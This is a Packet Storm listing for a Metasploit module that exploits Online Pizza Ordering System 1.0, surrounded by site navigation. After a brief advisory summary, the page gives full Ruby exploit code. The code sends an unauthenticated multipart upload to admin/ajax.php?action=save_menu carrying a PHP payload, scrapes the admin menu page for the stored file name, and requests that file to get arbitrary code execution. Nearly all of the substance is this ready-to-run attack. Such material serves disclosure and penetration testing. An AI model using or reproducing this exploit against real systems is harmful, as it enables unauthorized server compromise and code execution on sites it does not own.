what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Pizza Ordering System 1.0 Shell Upload

Online Pizza Ordering System 1.0 Shell Upload
Posted Sep 12, 2023
Authored by Sefa Ozan | Site metasploit.com

This Metasploit module exploits a vulnerability found in Online Pizza Ordering System version 1.0. By abusing the admin_class.php file, a malicious user can upload a file to the img/ directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on Ubuntu 22.04.

tags | exploit, arbitrary, php, code execution
systems | linux, ubuntu
SHA-256 | 3002ce5e2a8a96ceb421dddfd1cd12fa3676d726242592bcbe8fb80e7b19715f

Online Pizza Ordering System 1.0 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Online Pizza Ordering System PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Online Pizza Ordering System By abusing the
admin_class.php file, a malicious user can upload a file to the img/ directory
without any authentication, which results in arbitrary code execution. The module
has been tested successfully on Ubuntu 22.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sefa Ozan' # author & msf module
],
'References' =>
[
['URL', 'https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Online Pizza Ordering System', {}]
],
'Privileged' => false,
'DisclosureDate' => '2023-09-11',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Online Pizza Ordering System', '/php-opos'])
])
end

def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "admin", "ajax.php")
})

if res and res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
boundary = Rex::Text.rand_text_hex(7)

post_data = "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"id\"\r\n\r\n\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n"
post_data << "#{boundary}\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"description\"\r\n\r\n"
post_data << "#{boundary}\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"status\"\r\n\r\n"
post_data << "on\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"category_id\"\r\n\r\n"
post_data << "3\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"price\"\r\n\r\n"
post_data << "1\r\n"
post_data << "-----------------------------#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"img\"; filename=\"#{payload_name}\"\r\n\r\n\r\n"
post_data << "<?php "
post_data << payload.encoded
post_data << " ?>\r\n"
post_data << "-----------------------------#{boundary}--\r\n"

print_status("Sending PHP payload (#{payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "admin", "ajax.php?action=save_menu"),
'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}",
'data' => post_data
})

# If the server does not return 200 and the body does not contain 1,
# we assume we couldn't uploaded the malicious php file.
if not res or res.code != 200 or !res.body.include?("1")
print_error("File wasn't uploaded, aborting!")
return
end

#Geting our malicious php file's exact name on the server.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "admin", "index.php?page=menu")
})

# Trying to find our malicious file's name on the server with this ugly regex.
if res and res.body.include?("#{payload_name}")
match = res.body.match('data\-name="' + boundary + '" data\-status="1" data\-description="' + boundary + '" data\-price="1" data\-category_id="3" data\-img_path="(.*?' + payload_name + ')">Edit<')[1]
end

print_status("Executing PHP payload")
# Executing our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "assets", "img", "#{match}")
})
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close